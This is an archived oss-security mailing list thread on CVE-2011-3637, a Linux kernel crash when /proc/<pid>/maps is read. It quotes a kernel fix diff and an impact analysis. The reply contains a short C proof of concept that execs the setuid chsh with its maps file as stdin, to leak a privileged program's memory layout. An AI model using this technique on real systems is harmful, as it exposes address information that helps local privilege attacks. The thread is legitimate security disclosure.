oss-security - Re: CVE-2011-3637 Linux kernel: proc: fix Oops on invalid /proc/<pid>/maps access

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 8 Feb 2012 06:59:48 +0100
From: "Jason A. Donenfeld" <Jason@...c4.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2011-3637 Linux kernel: proc: fix Oops on
 invalid /proc/<pid>/maps access

Might be slightly offtopic, but this is a possible info leak of maps for a
suid program:

$ cat maps.c
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{

        int fd = open("/proc/self/maps", O_RDONLY);
        dup2(fd, 0);
        execl("/usr/bin/chsh", "chsh", NULL);
        return 0;
}


On Mon, Feb 6, 2012 at 05:27, Solar Designer <solar@...nwall.com> wrote:

> Hi,
>
> I just analyzed this issue a little bit and thought I'd post a followup
> to the thread on oss-security, but to my surprise I could not find the
> issue mentioned in here, even though "nearby" ones (e.g. fixed in RHEL
> at about the same time) were brought to this list.  I guess this has to
> do with differences in CVE assignment - when an issue already has a CVE
> ID, it is less likely to be brought up in here - which I find wrong.
> This shouldn't be just a CVE ID assignment list, but a general Open
> Source security list.  Anyway, to the specific issue:
>
> http://rhn.redhat.com/errata/RHSA-2012-0007.html says "A missing
> validation flaw was found in the Linux kernel's m_stop() implementation.
> A local, unprivileged user could use this flaw to trigger a denial of
> service. (CVE-2011-3637, Moderate)"  So I wanted to verify whether the
> impact is in fact limited to a DoS.  More links:
>
> https://bugzilla.redhat.com/show_bug.cgi?id=747848
>
> The fix, which I confirmed that it's included in at least OpenVZ's
> linux-2.6.18-274.17.1.el5.028stab097.1, which is what I happen to care
> about at this time:
>
>
> http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=76597cd31470fa130784c78fadb4dab2e624a723
>
> -       vma_stop(priv, vma);
> +       if (!IS_ERR(vma))
> +               vma_stop(priv, vma);
>
> Linus' commit message:
>
> "When m_start returns an error, the seq_file logic will still call m_stop
> with that error entry, so we'd better make sure that we check it before
> using it as a vma.
>
> Introduced by commit ec6fd8a4355c ("report errors in /proc/*/*map*
> sanely"), which replaced NULL with various ERR_PTR() cases.
>
> (On ia64, you happen to get a unaligned fault instead of a page fault,
> since the address used is generally some random error code like -EPERM)"
>
> The commit referenced above as one that introduced the bug:
>
>
> http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=ec6fd8a4355c
>
> Thus, _assuming_ that the bug was in fact introduced by that commit
> alone, it does appear to me that we have a mere DoS here - the pointer
> being referenced has to be some -Exxx access code and nothing more
> arbitrary.  Good.  (Additionally, the current fix only catches 4095
> possible values, so if the problem were worse, it would be insufficient.)
>
> Alexander
>
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.